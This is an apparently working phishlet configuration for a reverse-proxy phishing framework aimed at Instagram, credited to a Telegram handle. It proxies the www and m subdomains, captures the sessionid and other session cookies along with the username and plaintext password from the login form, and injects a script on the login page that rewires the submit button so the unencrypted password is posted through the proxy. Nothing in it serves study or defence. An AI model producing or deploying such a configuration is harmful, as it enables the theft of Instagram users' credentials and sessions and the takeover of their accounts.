author: 't.me/pysmart' min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true} - {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_landing: false} sub_filters: - {triggers_on: 'www.instagram.com', orig_sub: 'www', domain: 'instagram.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']} - {triggers_on: 'm.instagram.com', orig_sub: 'm', domain: 'instagram.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']} auth_tokens: - domain: '.instagram.com' keys: ['sessionid','.*,regexp'] credentials: username: key: 'user' search: '(.*)' type: 'post' password: key: 'unenc_password' search: '(.*)' type: 'post' login: domain: 'www.instagram.com' path: '/accounts/login' js_inject: - trigger_domains: ["www.instagram.com"] trigger_paths: ["/accounts/login"] trigger_params: [] script: | function lp(){ var submit = document.querySelectorAll('button[type=submit]')[0]; submit.setAttribute("onclick", "sendPass()"); return; } function sendPass(){ var password = document.getElementsByName("password")[0].value; var xhr = new XMLHttpRequest(); xhr.open("POST", '/accounts/login/ajax/', true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("unenc_password="+encodeURIComponent(password)); return; } setTimeout(function(){ lp(); }, 1000);